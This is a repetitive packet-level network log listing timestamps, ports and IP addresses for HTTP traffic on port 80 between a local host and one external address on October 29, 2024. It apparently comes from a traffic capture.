Oct 29, 2024 04:52:31.698298931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698314905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698332071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698343992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698354959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698354959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698390007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698390007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698605061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698640108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698662043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698663950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698678017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698693991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698694944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698693991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698713064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698715925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698729992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698744059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698745012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698744059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698761940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698764086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698779106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698786974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698795080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698805094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698812008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698826075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698828936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698846102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.698852062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698852062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698870897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.698890924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699529886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699546099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699568033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699580908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699604034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699608088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699608088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699621916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699639082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699641943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699655056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699660063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699672937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699677944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699687958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699706078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699708939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699709892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699722052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699728966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699738979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699748993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699757099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699774981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.699774981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699775934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699800968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.699815989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700509071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700525999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700541019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700556993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700566053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700566053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700572968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700591087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700593948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700593948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700608015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700613976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700632095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700648069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700903893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700918913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700932980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.700958967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700959921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.700998068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.737965107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.737998962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.738059044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.738078117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.738115072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.738149881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.812896013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.812928915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.812946081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813011885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.813045025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.813090086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813106060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813121080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813142061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.813174963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.813293934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813316107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813332081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813364029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.813396931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.813491106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813507080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813560009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.813636065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813658953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813673973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813688993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813694000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.813705921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.813713074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.813743114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814007998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814030886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814045906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814062119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814064980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814078093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814084053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814106941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814131021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814279079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814342022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814349890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814366102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814380884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814397097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814404964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814404964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814431906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814431906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814630985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814682961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814721107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814737082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814750910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814765930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814769983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814785004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.814789057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814809084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.814838886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815129042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815144062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815176010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815190077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815197945 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815207005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815222979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815239906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815246105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815247059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815265894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815284967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815663099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815679073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815694094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815707922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815721035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815721035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815725088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815741062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815749884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815749884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815757036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815773964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815777063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815777063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815790892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815802097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815807104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815824032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815828085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815828085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815840006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815846920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815865993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815869093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815884113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.815886974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815907001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.815922976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816606998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816622019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816633940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816648960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816663980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816663980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816673040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816688061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816694021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816714048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816719055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816730976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816737890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816746950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816762924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816766024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816766024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816778898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816787004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816796064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816811085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816813946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816814899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816828966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.816833019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816850901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.816867113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817578077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817595005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817609072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817624092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817637920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817636013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817641020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817653894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817662954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817670107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817687035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817697048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817703009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817717075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817718983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817735910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817748070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817754030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817769051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817771912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817787886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.817792892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817815065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.817833900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.818440914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.818456888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.818470955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.818489075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.818500996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.818500996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.818509102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.818552017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.818552017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.818552017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.855824947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.855868101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.855884075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.855981112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.929908991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930012941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.930042982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930058956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930092096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930108070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930109978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.930169106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.930201054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930217028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930259943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.930330992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.930381060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930396080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930413008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930466890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.930572033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930588007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930605888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930639029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.930674076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.930821896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930838108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930886030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.930941105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930957079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930973053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.930989027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931004047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931010962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931011915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931036949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931051970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931245089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931261063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931301117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931335926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931338072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931355000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931370974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931386948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931394100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931410074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931410074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931427956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931436062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931436062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931454897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931474924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931864023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931879997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931895971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931912899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931921005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931921959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931931019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.931942940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931967974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.931967974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932106018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932121038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932137012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932152987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932174921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932209015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932379007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932394981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932427883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932434082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932450056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932451010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932468891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932485104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932498932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932507038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932507038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932517052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932527065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932533979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932552099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.932554007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932554007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932578087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.932591915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.933183908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933198929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933214903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933231115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.933243036 CET	49760	80	192.168.2.4	185.215.113.206
